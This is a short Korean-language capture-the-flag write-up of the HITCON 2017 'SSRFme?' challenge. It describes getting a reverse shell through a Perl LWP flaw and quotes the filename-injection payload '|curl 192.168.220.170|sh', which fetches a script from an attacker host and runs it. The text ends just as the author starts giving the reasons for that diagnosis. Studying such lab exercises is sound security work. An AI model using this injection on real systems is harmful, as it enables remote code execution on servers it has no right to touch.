[Writeup] SSRFme? – HITCON 2017

문제 Problem

 

환경 Environment

 

공격 Attack

리버스 쉘을 이용하여 Victim의 쉘을 획득할 것이다. 먼저, Attacker에서 웹 서버를 구동하고 index.html 파일에 리버스 쉘 스크립트를 입력한다.

Attacker에서 9999 포트를 개방하고 연결을 기다린다.

Attacker에서 다른 터미널을 열고, 아래와 같은 HTTP Request를 Victim에 전송한다.

Victim에는 |curl 192.168.220.170|sh 이라는 파일이 생성된다.

이제 아래와 같은 HTTP Request를 전송하면 리버스 쉘을 획득할 수 있다.

 

그런데, 리버스 쉘이 획득된 이유가 잘 정리가 되지 않는다.

일단 위의 HTTP Request는 아래와 같은 문자열로 조합되어 shell_exec 함수로 전달되고 실행된다.

이러저런 실험을 통해 유추했을 때,  이는 Perl LWP 라이브러리의 취약점으로 판단된다. 그 근거는 다음과 같다.